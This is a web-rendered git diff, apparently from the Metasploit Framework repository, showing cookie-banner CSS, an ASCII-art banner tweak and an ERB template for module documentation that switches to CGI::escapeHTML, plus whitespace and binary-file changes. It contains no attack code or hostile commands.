.cc-revoke.cc-top{top:0;left:3em;border-bottom-left-radius:.5em;border-bottom-right-radius:.5em}.cc-revoke.cc-bottom{bottom:0;left:3em;border-top-left-radius:.5em;border-top-right-radius:.5em}.cc-revoke.cc-left{left:3em;right:unset}.cc-revoke.cc-right{right:3em;left:unset}.cc-top{top:1em}.cc-left{left:1em}.cc-right{right:1em}.cc-bottom{bottom:1em}.cc-floating>.cc-link{margin-bottom:1em}.cc-floating .cc-message{display:block;margin-bottom:1em}.cc-window.cc-floating .cc-compliance{-ms-flex:1;flex:1}.cc-window.cc-banner{-ms-flex-align:center;align-items:center}.cc-banner.cc-top{left:0;right:0;top:0}.cc-banner.cc-bottom{left:0;right:0;bottom:0}.cc-banner .cc-message{-ms-flex:1;flex:1}.cc-compliance{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-line-pack:justify;align-content:space-between}.cc-compliance>.cc-btn{-ms-flex:1;flex:1}.cc-btn+.cc-btn{margin-left:.5em}
|
||||
@media print{.cc-revoke,.cc-window{display:none}}@media screen and (max-width:900px){.cc-btn{white-space:normal}}@media screen and (max-width:414px) and (orientation:portrait),screen and (max-width:736px) and (orientation:landscape){.cc-window.cc-top{top:0}.cc-window.cc-bottom{bottom:0}.cc-window.cc-banner,.cc-window.cc-left,.cc-window.cc-right{left:0;right:0}.cc-window.cc-banner{-ms-flex-direction:column;flex-direction:column}.cc-window.cc-banner .cc-compliance{-ms-flex:1;flex:1}.cc-window.cc-floating{max-width:none}.cc-window .cc-message{margin-bottom:1em}.cc-window.cc-banner{-ms-flex-align:unset;align-items:unset}}
|
||||
.cc-floating.cc-theme-classic{padding:1.2em;border-radius:5px}.cc-floating.cc-type-info.cc-theme-classic .cc-compliance{text-align:center;display:inline;-ms-flex:none;flex:none}.cc-theme-classic .cc-btn{border-radius:5px}.cc-theme-classic .cc-btn:last-child{min-width:140px}.cc-floating.cc-type-info.cc-theme-classic .cc-btn{display:inline-block}
|
||||
.cc-theme-edgeless.cc-window{padding:0}.cc-floating.cc-theme-edgeless .cc-message{margin:2em 2em 1.5em}.cc-banner.cc-theme-edgeless .cc-btn{margin:0;padding:.8em 1.8em;height:100%}.cc-banner.cc-theme-edgeless .cc-message{margin-left:1em}.cc-floating.cc-theme-edgeless .cc-btn+.cc-btn{margin-left:0}
|
||||
File diff suppressed because one or more lines are too long
@@ -1,7 +1,7 @@
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% % %%%%%%%% %%%%%%%%%%% https://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% % %%%%%%%% %%%%%%%%%%% https://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
|
||||
@@ -1,11 +1,9 @@
|
||||
## <%= items[:mod_name] %>
|
||||
<p>
|
||||
<%= normalize_description(items[:mod_description]) %>
|
||||
</p>
|
||||
|
||||
## Module Name
|
||||
|
||||
<%= Rex::Text.html_encode(items[:mod_fullname]) %>
|
||||
<%= CGI::escapeHTML(items[:mod_fullname]) %>
|
||||
|
||||
## Authors
|
||||
|
||||
@@ -47,4 +45,4 @@ No options required.
|
||||
|
||||
## Basic Usage
|
||||
|
||||
<%= normalize_demo_output(items[:mod_demo]) %>
|
||||
<%= normalize_demo_output(items[:mod_demo]) %>
|
||||
|
||||
@@ -65,4 +65,4 @@
|
||||
</div>
|
||||
<% end %>
|
||||
</body>
|
||||
</html>
|
||||
</html>
|
||||
|
||||
Executable
BIN
Binary file not shown.
Binary file not shown.
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user